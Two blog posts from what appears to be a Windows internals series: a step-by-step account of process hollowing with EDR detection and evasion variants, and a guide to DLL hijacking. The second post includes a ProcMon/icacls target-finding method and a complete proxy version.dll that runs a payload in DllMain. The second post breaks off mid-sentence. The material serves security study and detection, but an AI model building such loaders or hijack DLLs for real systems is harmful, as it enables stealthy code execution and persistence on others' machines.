DEV Community: nimesh nakum

Process Hollowing from First Principles — No Tools, Just Windows API

nimesh nakum — Fri, 03 Jul 2026 04:25:44 +0000

How attackers gut a legitimate process before it runs a single instruction — and what that leaves behind

If you describe process hollowing as "injecting code into a legitimate process," you've already misunderstood it. That framing is wrong in a way that matters operationally.

You're not injecting into a running process. You're creating a new process in a suspended state, destroying the file-backed mapping of its legitimate image before any user-mode instruction has executed, replacing that memory with your payload, and then releasing the thread. The OS never learned that anything changed. The process name, PID ancestry, and integrity token all belong to the legitimate binary. The code executing is entirely yours.

Windows does not enforce consistency between identity, memory, and execution — and hollowing lives entirely in that gap.

That's the philosophical core of the technique, and it's exactly why it has persisted as an offensive primitive for over a decade despite widespread defender awareness.

Prerequisites: What You Need to Internalize First

The PEB and ImageBaseAddress

Every Windows process carries a Process Environment Block (PEB) — a user-mode structure maintained by ntdll that tracks the image base, loaded module list, loader state, and process parameters. On x64, ImageBaseAddress lives at offset 0x10 into the PEB.

This is what the attacker reads to locate the legitimate image in the target's address space, and what they patch after writing the payload to maintain surface-level consistency.

The PEB's Ldr field — a pointer to PEB_LDR_DATA — is equally important and frequently overlooked. It contains three doubly-linked lists (InLoadOrderModuleList, InMemoryOrderModuleList, InInitializationOrderModuleList) that track every loaded module.

At the point where hollowing executes — immediately after CreateProcess returns — Ldr is initialized but the loader lists are not yet populated with the main image's LDR_DATA_TABLE_ENTRY. The loader hasn't run. The PEB already reflects an inconsistent state before the attacker touches anything: ImageBaseAddress points to the mapped image, but no corresponding loader list entry exists for it.

After hollowing, this compounds further. The image at ImageBaseAddress no longer exists. A tool that walks the loader lists and resolves ImageBaseAddress finds anonymous private memory with no file backing.

The VAD Tree: MEM_IMAGE vs MEM_PRIVATE

The kernel manages each process's virtual address space through the Virtual Address Descriptor (VAD) tree — a red-black tree in EPROCESS where each node describes a virtual memory region. The VAD node's type field is the critical distinction:

VadImageMap → file-backed image mappings → MEM_IMAGE
VadNone / private committed → anonymous allocations → MEM_PRIVATE

Legitimate PE loading always produces MEM_IMAGE regions. The kernel tracks the file reference through a CONTROL_AREA structure linked to the VAD node's Subsection — this is what allows GetMappedFileName to return a file path and what allows scanners to compare the in-memory image against the on-disk version.

When you call NtUnmapViewOfSection and then VirtualAllocEx, you destroy that file-backed region and replace it with anonymous private memory. The VAD tree shows a committed private region at the executable's former base — no file path, no CONTROL_AREA, no disk backing. This is the primary forensic artifact hollowing leaves behind, and it's structural.

The PE Structure and the Section Mapping Problem

The PE file on disk is not a direct memory image. Data is packed using file-alignment (typically 512 bytes), referenced by PointerToRawData. In memory, sections are mapped to their VirtualAddress relative to the image base, aligned to the allocation granularity (typically 4096 bytes). These are different numbers.

Writing payload sections at file offsets rather than virtual offsets is the single most common failure mode in beginner hollowing implementations. The result is an immediate access violation at thread resume. Every section must be written at ImageBase + SectionHeader.VirtualAddress, not ImageBase + SectionHeader.PointerToRawData.

Hollowing vs. Classic Process Injection

Feature	Classic Process Injection	Process Hollowing
Target state	Already running process	Newly created, suspended process
Core operation	Allocate + write + create remote thread	Unmap image + write payload + modify thread context
Memory type	`MEM_PRIVATE` in a live process	Replaces `MEM_IMAGE` with `MEM_PRIVATE`
Key APIs	`OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread`	`CreateProcess` (suspended), `NtUnmapViewOfSection`, `SetThreadContext`, `ResumeThread`
EDR surface	Remote thread creation — high signal	VAD mutations and memory-type transitions

The Seven Steps: Mechanism and Internals

Step 1 — CreateProcess with CREATE_SUSPENDED

The attacker calls CreateProcessW targeting a legitimate, signed system binary — svchost.exe, RuntimeBroker.exe, notepad.exe. The target choice isn't cosmetic. The goal is to inherit the binary's reputation, token, and module load visibility.

Internally, CreateProcessW transitions to NtCreateUserProcess. The kernel executes in precise order:

Object creation: EPROCESS and ETHREAD (main thread) are allocated. Handle table initialized.

Section creation: MmCreateSection is called on the executable file, producing a section object backed by the file. The section references a CONTROL_AREA, which references the file object.

Address space setup: MmMapViewOfSection maps the image into the new process. The resulting VAD node is VadImageMap. Any address within this range returns MEM_IMAGE. The ControlArea field in the node links back to the original file — this is what makes the image path resolvable.

PEB initialization: MmCreatePeb sets ImageBaseAddress, ProcessParameters, and the Ldr pointer. The loader lists are initialized but not populated.

Thread setup: The initial thread's trap frame is prepared. On x64, the thread begins at RtlUserThreadStart in ntdll — not at AddressOfEntryPoint. This distinction matters critically in Step 5.

Thread state: Suspend count = 1. The thread waits.

At this point: valid EPROCESS, valid PEB, legitimate MEM_IMAGE covering the executable, a thread that has never executed a single instruction in user mode. No TLS callbacks. No DllMain. No EDR hooks initialized in this process yet.

This is the cleanest interception window in the Windows process lifecycle.

Step 2 — Reading the PEB to Find ImageBaseAddress

The attacker calls NtQueryInformationProcess with ProcessBasicInformation, returning a PROCESS_BASIC_INFORMATION structure containing PebBaseAddress — the PEB address in the target's virtual address space.

ReadProcessMemory pulls the PEB from the target. At offset 0x10 on x64 (confirmed against the _PEB symbol in the public PDB) lies ImageBaseAddress — the base of the MEM_IMAGE region that's about to be destroyed.

Guessing the base using the PE's preferred ImageBase is an option only for non-ASLR binaries. For everything else, the PEB read is the only reliable path.

Step 3 — NtUnmapViewOfSection: The Actual Hollowing

NtUnmapViewOfSection(processHandle, ImageBaseAddress) removes the section mapping for the legitimate executable from the target's address space.

The kernel walks the target's VAD tree, finds the VadImageMap node at ImageBaseAddress, and removes it. The CONTROL_AREA reference count decrements. Physical pages are dereferenced. The address range becomes MEM_FREE.

The forensic transition is precise:

Before the call: MEM_IMAGE, file-backed, path-resolvable
After the call: MEM_FREE
After Step 4's VirtualAllocEx: MEM_PRIVATE — anonymous, no CONTROL_AREA, no path

This is where hollowing becomes visible to any scanner that checks the VAD.

Failure mode: NtUnmapViewOfSection returns STATUS_INVALID_PARAMETER if the handle lacks PROCESS_VM_OPERATION access, or if the region was mapped with incompatible sharing flags (rare for a freshly suspended process, but possible in constrained environments).

Step 4 — VirtualAllocEx and WriteProcessMemory

VirtualAllocEx at the payload's preferred ImageBase with MEM_COMMIT | MEM_RESERVE and PAGE_EXECUTE_READWRITE. A new VadNone node is inserted — anonymous private memory. VirtualQuery on this range now returns MEM_PRIVATE. The transformation is complete.

WriteProcessMemory loads the payload in two passes:

Headers first. Write the DOS header, NT headers, and section headers at the base. Some payloads reference their own headers at runtime — skipping this breaks them.

Sections at virtual offsets. For each section: write raw data to AllocatedBase + SectionHeader.VirtualAddress. Sections smaller than VirtualSize leave zeroed padding — expected behavior. Sections that exceed SizeOfRawData boundaries require boundary checking to avoid clobbering adjacent sections.

Relocation handling is where most implementations fail silently. If VirtualAllocEx returns a different address than the payload's preferred ImageBase — because that range is unavailable — every absolute address in the payload is wrong by ActualBase - PreferredBase. The .reloc section exists precisely for this: walk the Base Relocation Table, compute the delta, patch each referenced address before resuming.

If the payload was compiled with /FIXED or had its relocation table stripped by the packer, and the base differs, the process crashes on the first absolute reference. This is not an edge case — it's one of the most common failure modes in real-world hollowing.

Step 5 — SetThreadContext: Redirecting Execution

The suspended thread's instruction pointer still targets RtlUserThreadStart in ntdll. The legitimate entry point it was about to call no longer exists.

GetThreadContext with CONTEXT_FULL retrieves the complete register snapshot from the thread's TrapFrame and KTHREAD->KernelStack.

Here's the nuance most write-ups get wrong. On x64, the initial Rip is RtlUserThreadStart, not AddressOfEntryPoint. Its signature: VOID RtlUserThreadStart(PUSER_THREAD_START_ROUTINE Function, PVOID Parameter). The entry point is passed in RCX, the parameter in RDX. The attacker patches RCX to PayloadBase + AddressOfEntryPoint — not Rip directly.

Setting Rip to the entry point bypasses RtlUserThreadStart entirely. No SEH frame setup. No stack alignment initialization. The payload crashes inside the CRT before running a single line of its own code.

SetThreadContext applies the modified context. The kernel updates the thread's trap frame. When the thread resumes, RtlUserThreadStart runs normally — calling the payload's entry point instead of the original binary's.

Step 6 — Patching PEB->ImageBaseAddress

The PEB still holds the ImageBaseAddress of the original binary — a region that no longer exists. Any tool reading that field and calling VirtualQuery on it finds MEM_FREE. An obvious anomaly.

WriteProcessMemory overwrites the 8 bytes at PebBaseAddress + 0x10 with the payload's actual load address. The process is now internally consistent at the PEB level.

What this step does not fix: the loader list inconsistency. No LDR_DATA_TABLE_ENTRY for the payload is ever inserted. The loader never ran. Module enumeration via the PEB lists returns an empty list — the payload executes in a process whose own loader structures don't acknowledge it exists.

Step 7 — ResumeThread

ResumeThread decrements the suspend count to zero. The scheduler picks up the thread. It resumes at RtlUserThreadStart, which calls the patched RCX — the payload's entry point. The payload runs inside a process that, from the OS's perspective, is entirely legitimate.

The sequence is complete. The process has the right name, the right token, and the wrong code.

Broken Invariants: The Real Story

Hollowing is best understood not as code injection, but as desynchronization between a process's identity, its memory, and its execution. Three invariants Windows implicitly assumes are violated simultaneously.

Memory Invariant — MEM_IMAGE Must Have a Backing File

When the kernel creates a MEM_IMAGE region, it does so through a section object tied to a file. The CONTROL_AREA in the VAD node maintains that reference — enabling VirtualQuery to return MEM_IMAGE, GetMappedFileName to return a path, and scanners to compare the live image against disk.

After hollowing: the region at the executable's base is MEM_PRIVATE. No CONTROL_AREA. No file reference. No resolvable path. This is the invariant module stomping specifically addresses by reusing an already-mapped DLL's MEM_IMAGE region — keeping the file backing while replacing the content.

Loader Invariant — The LDR Lists Must Reflect Loaded Modules

PEB->Ldr maintains three circular doubly-linked lists that are the authoritative source for EnumProcessModules, GetModuleHandle, and every debugger. Under normal operation, the main executable has a corresponding LDR_DATA_TABLE_ENTRY linking it to the file on disk, its image base, and its name.

After hollowing: no LDR_DATA_TABLE_ENTRY for the payload exists. The loader never ran to create one. The payload's code executes in a process whose own loader structures don't acknowledge it.

Execution Invariant — Code Must Execute From a Named Module

On a healthy Windows system, every return address on every thread's call stack resolves to a named module with a resolvable path. Frames in anonymous private memory are a high-confidence anomaly signal.

After hollowing: the thread executes entirely within MEM_PRIVATE. Every frame in the call stack is an orphaned frame — no module name, no file path, no loader entry.

These three violations — memory type mismatch, absent loader entry, execution in untracked memory — are the structural fingerprint of hollowing. Patching PEB->ImageBaseAddress in Step 6 fixes none of them. It's cosmetic. The invariant violations persist underneath.

What EDR Actually Sees

Knowing what's visible is operationally relevant — because it determines exactly what evasion is necessary.

The Behavioral Sequence, Not Individual APIs

No single API in the hollowing chain is inherently malicious. CreateProcess, NtQueryInformationProcess, ReadProcessMemory, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread — each has legitimate uses in isolation.

What behavioral engines watch is the sequence and temporal proximity: a process creates a suspended child, immediately queries its PEB, reads from its address space, unmaps a region at the address extracted from that PEB, allocates at the same address, writes a PE-sized payload, modifies the thread's RCX register, and resumes.

This sequence is the signature. Everything else is optional.

That behavioral chain, against a single target handle within a narrow time window, is near-unambiguous — even without a single malicious API call in isolation.

Memory State Transitions

ETW providers Microsoft-Windows-Kernel-Memory and Microsoft-Windows-Kernel-Process emit events for virtual memory operations. An EDR consuming these watches a specific VAD mutation sequence: MEM_IMAGE at the image base disappears, immediately replaced by MEM_PRIVATE at the same address, followed by cross-process writes from the parent into that range.

MEM_IMAGE → MEM_FREE → MEM_PRIVATE at a freshly created process's image base has no legitimate explanation.

VAD Anomalies

Kernel-mode sensors with direct EPROCESS access query the VAD tree directly — bypassing all user-mode evasion. They check the VAD node at PEB->ImageBaseAddress: VadImageMap or VadNone? If it's private, and the thread's RIP falls within that range, the process is hollowed. This check is entirely kernel-side, invisible to the attacker's user-mode code.

Thread Anomalies

Some EDRs snapshot the expected RCX value — derived from AddressOfEntryPoint + ImageBase via NtQueryInformationProcess — at process creation and compare it against the actual thread context at ResumeThread. A mismatch pointing into a MEM_PRIVATE range is flagged immediately.

Once the thread is running, periodic kernel-side stack sampling finds frames in MEM_PRIVATE with no resolvable module. Every such frame is a strong behavioral indicator independent of the creation-time signals.

The Sysmon Telemetry Gap

Default Sysmon configurations don't generate events for NtUnmapViewOfSection or NtWriteVirtualMemory. Not an oversight — these are high-volume operations. This gap is part of why hollowing remains viable against Sysmon-only detection stacks. The artifacts exist in kernel ETW and memory scanners, but log-based SIEM detections built on Sysmon alone miss the core VAD mutation entirely.

Evasion Variants

RW → VirtualProtect → RX Instead of RWX

Allocate PAGE_READWRITE. Write all sections. Call VirtualProtectEx to transition executable sections to PAGE_EXECUTE_READ. This removes the PAGE_EXECUTE_READWRITE region that most EDR behavioral rules aggressively target. The MEM_PRIVATE anomaly remains — this doesn't address the core forensic artifact — but it eliminates the most over-signatured permission combination. One extra API call. Worth it.

Module Stomping

The direct evolutionary response to MEM_PRIVATE detection. Force a legitimate DLL to load into the target process via a remote LoadLibraryA or queued APC. This creates a real MEM_IMAGE region with genuine file backing. Then overwrite that region with your payload via WriteProcessMemory.

The VAD node stays VadImageMap. VirtualQuery returns MEM_IMAGE. GetMappedFileName returns the DLL's path. The code in that memory is yours. This defeats the primary forensic indicator — at the cost of a new one: the in-memory image no longer matches the file on disk, detectable by scanners that hash-compare live image regions against disk.

Early Bird APC Injection

Queue an APC to the suspended main thread before ResumeThread instead of modifying the thread context. The APC executes when the thread first becomes alertable — before any EDR's DLL_PROCESS_ATTACH hooks initialize in the new process. Execution occurs entirely outside user-mode hook coverage. The memory-type artifacts remain, but the execution timeline shifts in a way that defeats hook-based behavioral engines.

Failure Modes in Practice

Relocation failures. If VirtualAllocEx returns a different address than the payload's preferred ImageBase, every absolute address is wrong by ActualBase - PreferredBase. Without a relocation table — common with packed or stripped payloads — the process crashes on the first absolute reference. Fix: force the same base, or implement relocation table parsing.

TLS callbacks. Host binaries with Thread Local Storage callbacks expect those to run during loader initialization. They won't. In most scenarios, targeting binaries without TLS (the majority of simple system binaries) avoids this entirely.

Import resolution. At the point ResumeThread fires, only ntdll.dll is guaranteed to be mapped in the new process — the kernel loads it first for every process. kernel32.dll and kernelbase.dll are not yet present. Payloads that assume a populated IAT crash immediately. Payloads that resolve their own imports (standard in staged loaders and shellcode) do not.

ASLR and preferred bases. The host binary's actual load address may differ from its ImageBase in the NT headers. Reading the actual base from the PEB handles this. Computing the payload entry point from the preferred ImageBase instead of the actual allocated address produces a wrong entry point and a clean crash.

The Core Artifact and What Comes Next

NtUnmapViewOfSection followed by VirtualAllocEx at the same address is structurally self-revealing. It destroys a MEM_IMAGE region backed by a legitimate file and replaces it with anonymous private memory. Every memory scanner, every kernel-side VAD query, every GetMappedFileName call on the base address surfaces the inconsistency.

The attack is powerful against detection stacks that don't perform this cross-reference. Against those that do, the artifact is definitional — built into the technique's core mechanism.

The next logical question: what if you never called NtUnmapViewOfSection at all? What if you hijacked memory that's already a legitimate MEM_IMAGE region — one with a real file path that passes every scanner check, a real CONTROL_AREA, a real disk backing? That's module stomping, one rung up the same ladder.

Hollowing isn’t stealth. It’s inconsistency. And inconsistency is exactly what defenders learn to hunt.

Below that rung is DLL Hijacking — exploiting the loader's own search-order behavior to make Windows load your code as a legitimate library, without touching an existing process at all. A design decision baked into the Windows loader since the early 1990s that still can't be fully patched without breaking legacy application compatibility.

That's next.

The proof-of-concept implementation is available in the windows-kernel-internals-lab repository.

DLL Hijacking — Three Variants with ProcMon Methodology

nimesh nakum — Wed, 10 Jun 2026 04:27:53 +0000

what if you didn't need to hollow anything? What if Windows itself loads your malicious code, willingly, through its own loader? That's DLL hijacking — the OS doing your dirty work.

How Windows Finds DLLs — The Search Order

when a process calls :

LoadLibrary("example.dll");

Windows now has a problem:

“Where exactly is example.dll located?”

Because only a filename was given — not a full path.

So the Windows Loader (LdrLoadDll inside ntdll.dll) begins searching through multiple locations in a specific order.

That search order is what attackers abuse.

There are Basically Two categories :

Standard Search Locations Normal DLL resolution path
Special Search Locations Extra trusted/preferred/forced locations used by Windows

Phase 1: Special Search Locations

Before scanning the physical directories on your hard drive, Windows checks several internal, memory-based, or configuration-based mechanisms to see if the DLL is already handled:

DLL Redirection: Windows first checks if a specific redirection file or rule exists for the application.( If a .local file or app.exe.local folder exists alongside the application, Windows redirects DLL loads to that location )
API Sets: It then checks if the requested DLL is an API Set name that needs to be resolved to a physical DLL.
- When an app requests something like api-ms-win-core-processthreads-l1-1-0.dll, the API Set schema maps it to the real DLL (kernelbase.dll or similar) before any filesystem search happens.
- You can't hijack an API Set dependency with a dropped file — it never reaches the filesystem.
SxS Manifest Redirection: The system checks Side-by-Side (SxS) manifests to see if the application requires a specific version of the DLL.
- If it does, Windows loads from the WinSxS store — again, bypassing the filesystem search entirely.
Loaded-Module List: Windows checks if the requested DLL is already loaded into the current process's memory space.
- If the DLL is already loaded in the process — already present in InMemoryOrderModuleList — the loader returns the existing mapping. No disk access at all.
- This is why injecting a DLL once makes subsequent LoadLibrary calls for the same name return your version — it's already in the list.
Known DLLs: It checks a pre-defined registry list of core Windows DLLs. If it's a "Known DLL," Windows will always use the system copy, preventing hijacking of critical files.

- The kernel pre-maps a set of critical system DLLs at boot and stores them as named section objects under `\KnownDLLs`. When the loader encounters a DLL name that matches, it maps directly from that section object. The filesystem is never consulted.

-  This is why you cannot hijack `ntdll.dll`, `kernel32.dll`, `user32.dll`, or `kernelbase.dll` by dropping a file anywhere — they are resolved before the filesystem search begins.

- You can see the full `KnownDLLs` list yourself:

Sysinternals WinObj → navigate to \KnownDLLs

Package Dependency Graph of Process: It checks the dependency graph for the specific application package, Before Standard Locations.

If the DLL hasn't been found or resolved in the first phase, Windows moves on to querying directories on the disk. This is where the majority of standard DLL hijacking opportunities arise. It searches in this exact order:

Application's Directory: The folder from which the executable file was launched.
- The application's own directory comes first — before System32, before anything else. This was intentional.
- Applications in the Windows 95 era were expected to ship their own DLL versions alongside their executables, and Windows needed to respect that. That backward-compatibility decision has never been reversed.

Why attackers care: if an application's directory is writable by a non-admin user — which is common for software installed under Program Files with weak ACLs, or anything in a user-controlled path — you can place a DLL there and the loader picks it up before the legitimate copy in System32 is ever checked.

C:\Windows\System32: The primary system directory.
C:\Windows\System: The legacy system directory.
C:\Windows: The main Windows directory.
Current Directory: The directory the process is currently executing in (which can sometimes be different from the application's launch directory).
Directories Listed in PATH Variable: Finally, if it hasn't found the DLL anywhere else, Windows sweeps through all the directories specified in the system's %PATH% environment variable.

Safe DLL Search Mode slightly adjusts this standard list by deprioritizing the current working directory, moving it later in the order. It's enabled by default:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager
SafeDllSearchMode = 1

It protects against working-directory attacks specifically. The application directory is untouched — it stays first. Safe DLL Search Mode is a partial mitigation that addresses one variant of the problem while leaving the most practical variant completely open.

Understanding this full picture matters because it tells you exactly which DLLs are hijackable and which aren't — before you touch ProcMon.

If a DLL name appears in KnownDLLs or gets resolved via API Sets, no dropped file will intercept it. Everything else is fair game.

The exact DLL search order varies depending on:

SafeDllSearchMode
whether LoadLibraryEx is used
SxS activation contexts
packaged application behavior
custom DLL directories

The order above reflects the common unpackaged desktop application search behavior when no custom loader flags are specified.

Common DLL Hijacking Implementations

The three most common techniques attackers use are DLL side-loading, DLL search order hijacking and phantom DLL loading. The most common technique is DLL side-loading

DLL Search Order Hijacking

This implementation exemplifies the core abuse of the entire Windows DLL search order.

This technique simply leverages the Windows DLL search order to drop a malicious DLL in any of its searched locations that would cause a vulnerable, legitimate program to execute a malicious DLL.

An attacker can place a malicious DLL in a location prioritized by the DLL search order before the location of a valid DLL.

This can happen at any point in the DLL search order, including the PATH environment variable, which attackers can modify by adding a path directory with a malicious DLL.

An example of this type of attack is to drop a malicious DLL in a Python installation directory to hijack the DLL search order.

When Python is installed on a Windows machine, it often adds its installation directory to the PATH environment variable, usually in one of the first searched locations.

Python folders in the PATH environment variable

Installing Python on a Windows host creates a directory with relaxed permissions, allowing any authenticated user (including unprivileged ones) to write to this location.

This gives attackers the best conditions to execute their DLL search order hijack attack and infect the targeted machine.

Phantom DLL Loading

In this technique, attackers look for a vulnerable executable that attempts to load a DLL that simply doesn't exist (or is missing) due to an implementation bug.

Then, attackers will plant a malicious DLL with the non-existent DLL’s filename in its expected location.

A familiar example of this technique is the abuse of the Windows Search (WSearch) Service.
This service is responsible for search operations and it launches with SYSTEM privileges upon system startup.(Historical)

When this service starts, it executes SearchIndexer.exe and SearchProtocolHost.exe, which both attempt to load msfte.dll from S*ystem32* . In default Windows installations, the file does not exist in this location.

An adversary can plant their malicious DLL if they can write to the System32 folder or an alternate DLL search order location, or insert another attacker-controlled location into the PATH environment variable.

This allows them to gain a stealthy pathway for execution with SYSTEM privileges, and a means to maintain persistence on the machine.

DLL Side-Loading

In this most commonly used DLL-hijacking technique, an attacker obtains a legitimate executable that loads a specifically named DLL without specifying the DLL file's full directory path.

DLL side-loading uses a malicious DLL renamed to the same filename of a legitimate DLL, one normally used by a legitimate executable.

Attackers drop the legitimate executable and a malicious, renamed DLL within a directory they have access to.

In DLL side-loading, the attackers rely on the fact that the executable’s directory is one of the first locations Windows searches for.

Finding Candidates with ProcMon — The Methodology

Knowing the three variants is theory. ProcMon is where theory becomes a target list.

Process Monitor captures every filesystem operation a process makes in real time — including every DLL load attempt, successful or not. The ones that fail are your attack surface.

A failed DLL load means Windows looked for something, didn't find it, and moved on. That's your opening.

Setting Up the Filter

Open ProcMon and set these two filters before launching your target application:

Result    is    NAME NOT FOUND
Path      ends with    .dll

This cuts through the noise. You're left with only the DLL requests that the loader made and got nothing back for.

Every single line in that filtered output is a location where Windows expected a DLL and found empty space.

Now launch your target application with ProcMon running.

Reading the Output

Each line in ProcMon tells you three things:

Process Name    →    which executable made the request
Path            →    full path Windows searched
Result          →    NAME NOT FOUND

The Path column is what matters. It tells you exactly where the loader looked. Cross-reference that path with two questions:

1. Is this location writable by a non-admin user?

icacls "C:\Path\To\Directory"

Look for (W) or (F) next to any non-admin group — BUILTIN\Users, Everyone, INTERACTIVE. If it's there, you can drop a file there without elevation.

2. Does a legitimate version of this DLL exist elsewhere on the system?

where /R C:\Windows version.dll

If it exists in System32 but the app searched its own directory first and got NAME NOT FOUND — that's a Search Order Hijacking candidate. The real DLL exists, but the app checked a writable location before finding it.

If the DLL doesn't exist anywhere on the system — that's a Phantom DLL candidate. Nothing to compete with. You're filling a void.

Identifying Side-Loading Candidates

Side-loading candidates don't always show up as NAME NOT FOUND. Sometimes the application successfully loads a DLL — but from a location you can influence.

Add a second filter alongside your existing ones:

Operation    is    Load Image

Now look for DLLs loading from the application's own directory. If that directory has weak ACLs and the DLL being loaded isn't in KnownDLLs — you have a side-loading candidate. The app is already loading from a controllable location. You just need to replace what's there with a proxy.

Turning a Finding into a Confirmed Target

Not every NAME NOT FOUND result is exploitable. Before you build a DLL, confirm three things:

The directory is writable:

icacls "C:\Program Files\TargetApp\"

The DLL name isn't in KnownDLLs:

WinObj → \KnownDLLs → check if the name appears

The application actually uses the DLL in a meaningful code path — not just at startup and never again. A DLL loaded once at launch and then ignored means your payload executes once. A DLL loaded repeatedly means repeated execution opportunities.

Once all three are confirmed, you have a legitimate target. The next step is building something that loads into it without breaking the application — which is where the proxy DLL comes in.

The Proxy DLL — Don't Break What You're Hijacking

Finding a candidate is half the work. The other half is making sure your DLL doesn't crash the application the moment it loads.

Here's the problem most people run into on their first attempt.

You found a candidate. Some application tries to load version.dll from its own directory. That directory is writable. version.dll isn't in KnownDLLs. You compile a basic DLL that runs your payload in DllMain, name it version.dll, drop it in the directory, and launch the application.

Two things can happen:

Application loads → payload executes → application keeps running.

Application loads → payload executes → application immediately crashes.

Scenario B happens more often than you'd expect. And a crashed application is a problem — not because it's a technical failure, but because a crashed application is noise. The user notices. On a real engagement, that's the one thing you can't afford.

So why does it crash?

The Export Table Problem

When an application loads a DLL, it doesn't just load it and move on. It calls specific exported functions from that DLL throughout its lifetime.

version.dll is the Windows Version API library. Applications use it to check file version information. Functions like:

GetFileVersionInfoA
GetFileVersionInfoSizeW
VerQueryValueA
VerQueryValueW

When the application calls LoadLibrary("version.dll"), Windows loads your DLL. Fine. But then at some point, the application calls GetFileVersionInfoSize(). It looks for that function in the loaded version.dll — which is your DLL. Your DLL doesn't export it. Windows returns NULL. The application tries to call a NULL function pointer.

That's your crash.

Every DLL has an export table — a list of functions it makes available to any process that loads it. You can see it with:

dumpbin /exports C:\Windows\System32\version.dll

ordinal  name
      1  GetFileVersionInfoA
      2  GetFileVersionInfoByHandle
      3  GetFileVersionInfoExA
      4  GetFileVersionInfoExW
      5  GetFileVersionInfoSizeA
      6  GetFileVersionInfoSizeW
      9  GetFileVersionInfoW
     16  VerQueryValueA
     17  VerQueryValueW

Every function in that output is something the application might call. If your DLL doesn't export them, any call to them crashes the application.

This is the exact problem a proxy DLL solves.

What a Proxy DLL Actually Does

Your DLL needs to satisfy two requirements at the same time:

Execute your payload
Export every function the application expects — and make those functions actually work

The proxy pattern handles both. Your DLL intercepts the load, runs your payload, and then forwards every function call transparently to the real DLL in System32.

Application calls GetFileVersionInfoA()
        ↓
Your version.dll (proxy)
  → DllMain fires → your payload executes
  → GetFileVersionInfoA() forwarded to real version.dll
        ↓
C:\Windows\System32\version.dll
        ↓
Returns valid result to application

The application called GetFileVersionInfoA, got a valid result, and kept running. Your payload already executed silently before any of that happened. The application never noticed anything changed.

DllMain — Where Your Code Lives

Every DLL has a DllMain function. This is the entry point the Windows loader calls automatically the moment your DLL is mapped into the process. You don't trigger it — Windows does.

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // your payload runs here
    }
    return TRUE;
}

DLL_PROCESS_ATTACH fires exactly once — the instant the loader maps your DLL into the process address space. Before the application gets control back from LoadLibrary. Before it calls a single exported function.

The execution order is:

Application calls LoadLibrary("version.dll")
        ↓
Loader maps your DLL into process memory
        ↓
Loader calls DllMain(DLL_PROCESS_ATTACH) ← your payload runs here
        ↓
LoadLibrary returns handle to your DLL
        ↓
Application calls exported functions on your DLL
        ↓
Your exports forward calls to real version.dll
        ↓
Application gets valid results, keeps running

You return TRUE from DllMain. The loader considers the DLL successfully initialized. Everything continues normally.

Export Forwarding — Making the Application Happy

This is the part that makes the proxy work. At the top of your DLL source, before any code, you add pragma linker directives — one per exported function:

#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
// one line for every export in the real DLL

The format is:

/export:YourExportName=RealDLLPath.RealFunctionName,@OrdinalNumber

What this does: it adds entries to your DLL's export table that don't point to code inside your DLL — they point directly to the corresponding function in the real DLL. Windows resolves these at load time. When the application calls GetFileVersionInfoA on your DLL, Windows follows the forward pointer straight to the real function in System32.

The @1 at the end is the ordinal number — the numeric identifier for that export. It needs to match the ordinal from the real DLL's export table exactly. Applications that import by ordinal instead of by name will break if this doesn't match.

Two things that catch people out here:

The path uses double backslashes in C strings. And the DLL name does not include .dll:

// correct
"C:\\Windows\\System32\\version.GetFileVersionInfoA"

// wrong — will not link
"C:\\Windows\\System32\\version.dll.GetFileVersionInfoA"

The linker already knows it's a DLL. Don't add the extension.

The Complete Proxy

Putting it together — a full proxy for version.dll:

#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        WinExec("calc.exe", SW_HIDE);
    }
    return TRUE;
}

Compile it:

cl /LD version.c /o version.dll

Drop it in the hijackable directory. Launch the target. Your payload runs. Application keeps running. Nobody crashes.

Detection — What EDRs Actually See

DLL hijacking is stealthy by design. The loader does the loading, a legitimate process does the executing, and your DLL may even be sitting in a location that looks completely reasonable. But it's not invisible.

Sysmon Event ID 7 — ImageLoad is the primary telemetry source. Every DLL load generates this event with the full image path and the signing status of the loaded module. A defender looking at Event 7 can ask two questions:

